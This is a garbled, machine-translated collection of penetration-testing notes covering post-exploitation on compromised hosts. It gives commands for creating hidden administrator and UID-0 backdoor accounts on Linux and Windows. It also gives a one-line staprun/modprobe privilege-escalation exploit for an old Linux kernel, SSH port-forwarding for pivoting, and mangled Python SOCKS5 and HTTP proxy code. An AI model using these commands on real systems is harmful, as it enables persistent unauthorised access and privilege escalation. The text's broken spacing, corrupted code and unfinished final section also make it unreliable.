Some records in web penetration

1. when you get the linux root shell, you can use the following statement to add the Administrator account to write "useradd icefish // Add the icefish user passwd icefish // set the password awk-F: '{print $1}'/etc/passwd can be used to check the number of users. However, the newly created account is locked and The usermod-U icefish or usermod-u uid usermod-G root needs to be unlocked. icefish // Add the Administrator group or usermod-g 0 icefish. The following is the usermod help document [root @ localhost ~]. # UsermodUsage: usermod [options] LOGIN Options:-a, -- append the user to the supplemental GROUPS (use only with-G)-c, -- comment COMMENT new value of the GECOS field-d, -- home HOME_DIR new home directory for the user account-e, -- expiredate EXPIRE_DATE set account expiration date to EXPIRE_DATE-f, -- inactive INACTIVE set password inactive after expirationto INACTIVE-g, -- gid GROUP force use G ROUP as new primary group-G, -- groups GROUPS new list of supplementary GROUPS-h, -- help display this help message and exit-l, -- login NEW_LOGIN new value of the login name-L, -- lock the user account-m, -- move-home move contents of the home directory to the newlocation (use only with-d)-o, -- non-unique allow using duplicate (non-unique) UID-p, -- password PASSWORD use encrypted password for th E new password-s, -- shell SHELL new login shell for the user account-u, -- uid UID new UID for the user account-U, -- unlock the user account-Z, -- selinux-user new selinux user mapping for the user account in windows, you don't have to say much about writing. net user icetest/addnet localgroup administrators icetest/add. Of course, I have also seen a linux add account write useradd-u 0-o-g root-G root-d/home/icetest2 icetest2passwd icetest2 The added user is directly the same as the administrator root uid, which is more convenient than 2. In a single sentence, the linux kernel version uname-a reads linux 2.6.18-194. el5 privilege escalation in one sentence printf "install uprobes/bin/sh"> exploit. conf; MODPROBE_OPTIONS = "-C exploit. conf "staprun-u whatever: 3. ssh Port Forwarding proxy. The first method that everyone knows is to use a windows client, such as the Port Forwarding in session options in securCRT. The second method is to manually execute the command. http://www.bkjia.com/net/201010/76494.html This article is still very detailed. Basically, ssh-L <local port >:< remote host >:< remote port> <SSH hostname> and ssh-R <local port >:< remote host>: <remote port> <SSH hostname> ssh-D <local port> <SSH Server> these three methods are commonly used. I personally think ssh-D 7001 192.168.4.130 is helpful, and the first method of local proxy. The third method is to use other code to directly implement socket proxy. I prefer python, but I didn't succeed when I reproduce it. There are two methods, these are socket5 and http Proxy Python code #! /Usr/bin/env python # coding = UTF-8 import socket, sys, select, SocketServer, struct, time class ThreadingTCPServer (SocketServer. threadingMixIn, SocketServer. TCPServer): pass class Socks5Server (SocketServer. streamRequestHandler): def handle_tcp (self, sock, remote): fdset = [sock, remote] while True: r, w, e = select. select (fdset, [], []) if sock in r: if remote. send (sock. recv (4096) <= 0: break if r Emote in r: if sock. send (remote. recv (4096) <= 0: break def handle (self): try: print 'socks connection from', self. client_address sock = self. connection #1. version sock. recv (262) sock. send (B "\ x05 \ x00"); #2. request data = self. rfile. read (4) mode = ord (data [1]) addrtype = ord (data [3]) if addrtype = 1: # IPv4 addr = socket. inet_ntoa (self. rfile. read (4) elif addrtype = 3: # Domain name addr = s Elf. rfile. read (ord (sock. recv (1) [0]) port = struct. unpack ('> H', self. rfile. read (2) reply = B "\ x05 \ x00 \ x00 \ x01" try: if mode = 1: #1. tcp connect remote = socket. socket (socket. AF_INET, socket. SOCK_STREAM) remote. connect (addr, port [0]) print 'tcp connect to ', addr, port [0] else: reply = B "\ x05 \ x07 \ x00 \ x01" # Command not supported local = remote. getsockname () reply + = socket. inet_aton (local [0]) + Struct. pack ("& gt; H", local [1]) using t socket. error: # Connection refused reply = '\ x05 \ x05 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00' sock. send (reply) #3. transfering if reply [1] = '\ x00': # Success if mode = 1: #1. tcp connect self. handle_tcp (sock, remote) handle T socket. error: print 'socket error' def main (): server = ThreadingTCPServer ('', 2013), Socks5Server) server. serve_forever () if _ name _ = '_ Main _': main () http Proxy Python code #-*-coding: cp1252-*-# <PythonProxy. py >## Copyright (c) <2009> <Fábio Domingues-fnds3000 in gmail.com> # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation # files (the "Software"), to deal in the Software without # restriction, including without limitation the rights to use, # copy, mo Dify, merge, publish, distribute, sublicense, and/or percent # copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following # conditions: # The above copyright notice and this permission notice shall be # encoded ded in all copies or substantial portions of the Software. # the software is provided "as is", without warranty of any kind, # EXPRESS OR IM PLIED, including but not limited to the warranties # of merchantability, fitness for a particle purpose and # NONINFRINGEMENT. in no event shall the authors or copyright # holders be liable for any claim, damages or other liability, # whether in an action of contract, tort or otherwise, ARISING # FROM, out of or in connection with the software or the use or # other dealings in the software. "\ Copyr Ight (c) <2009> <Fábio Domingues-fnds3000 in gmail.com> <MIT Licence> *********************** * *************** Python Proxy-A Fast HTTP proxy *************** * *********************** Neste momento este proxy é um Elie Proxy. suporta OS mé todos HTTP:-OPTIONS;-GET;-HEAD;-POST;-PUT;-DELETE;-TRACE;-CONENCT. suporta:-Conex ipves dos cliente em IPv4 ou IPv6;-Conex ipves ao alvo em IPv4 e IPv6;-Conex ipves todo o tipo de transmiss ipvo de dados TCP (CONNECT tunneling), p. e. liga C. es SSL, comoéo caso do HTTPS. A fazer:-Verificar se o input vindo do cliente est ácorrecto;-Enviar OS devidos HTTP erros se n ã o, ou simplesmente quebrar a liga çç o; -Criar um gestor de erros;-Criar ficheiro log de erros;-Colocar excep ç es nos sítios onde é previs ível a ocorr sans ncia de erros, p. e. Sockets e ficheiros;-Rever tudo e melhorar a estrutura do programar e colocar nomes adequados nas variáveis e Métodos;-Comentar o programa decentemente;-Doc Strings. funcionalidades futuras:-Adiconar a funcionalidade de proxy an ónimo e transparente;-Suportar FTP ?. (!) Atenç ã o que se Segou s ó tem efeito em conex elastes n won o CONNECT, para estas o proxy é sempre Elite. qual a diferença entre um proxy Elite, An ónimo e Transparente? -Um proxy elite é totalmente an ónimo, o servidorque o recebe n o consegue ter conhecimento da exist ?ncia do proxy e n ã o recebe o endere ço IP do cliente; -Quando é usado um proxy an ónimo o servidorsabe que o cliente est áa usar um proxy mas n ã o sabe o endere ço IP do cliente; éenviado o cabe çalho HTTP "Proxy-agent ". -Um proxy transparente fornece ao servidor o IP do cliente e um informa çç o que Se est á a usar um proxy. S ã o enviados OS cabe çalhos HTTP "Proxy-agent" e "HTTP_X_FORWARDED_FOR ". "import socket, thread, select _ version _ = '0. 1.0 Draft 1 'buflen = 8192 VERSION = 'python Proxy/'+ _ version _ HTTPVER = 'HTTP/1.1' class ConnectionHandler: def _ init _ (self, connection, address, timeout): self. client = connection self. client_buffer = ''self. timeout = timeout self. method, self. Path, self. protocol = self. get_base_header () if self. method = 'connect': self. method_CONNECT () elif self. method in ('options', 'get', 'head', 'post', 'put', 'delete', 'track'): self. method_others () self. client. close () self.tar get. close () def get_base_header (self): while 1: self. client_buffer + = self. client. recv (BUFLEN) end = self. client_buffer.find ('\ n') if end! =-1: break print '% s' % self. client_buffer [: end] # debug data = (self. client_buffer [: end + 1]). split () self. client_buffer = self. client_buffer [end + 1:] return data def method_CONNECT (self): self. _ connect_target (self. path) self. client. send (HTTPVER + '200 Connection established \ n' + 'proxy-agent: % s \ n \ n' % VERSION) self. client_buffer = ''self. _ read_write () def method_others (self): self. path = self. path [7:] I = Self. path. find ('/') host = self. path [: I] path = self. path [I:] self. _ connect_target (host) self.tar get. send ('% s \ n' % (self. method, path, self. protocol) + self. client_buffer) self. client_buffer = ''self. _ read_write () def _ connect_target (self, host): I = host. find (':') if I! =-1: port = int (host [I + 1:]) host = host [: I] else: port = 80 (soc_family, _, address) = socket. getaddrinfo (host, port) [0] self.tar get = socket. socket (soc_family) self.tar get. connect (address) def _ read_write (self): time_out_max = self. timeout/3 socs = [self. client, self.tar get] count = 0 while 1: count + = 1 (recv, _, error) = select. select (socs, [], socs, 3) if error: break if recv: for in _ in recv: data = in _. recv (BUFLEN) if in _ is self. client: out = self.tar get else: out = self. client if data: out. send (data) count = 0 if count = time_out_max: break def start_server (host = 'localhost', port = 8082, IPv6 = False, timeout = 60, handler = ConnectionHandler ): if IPv6 = True: soc_type = socket. AF_INET6 else: soc_type = socket. AF_INET soc = socket. socket (soc_type) soc. bind (host, port) print "Serving on % s: % d. "% (host, port) # debug soc. listen (0) while 1: thread. start_new_thread (handler, soc. accept () + (timeout,) if _ name _ = '_ main _': start_server (host = '', port = 8082) 4. mysql udf Privilege Escalation. If you have time, write it again.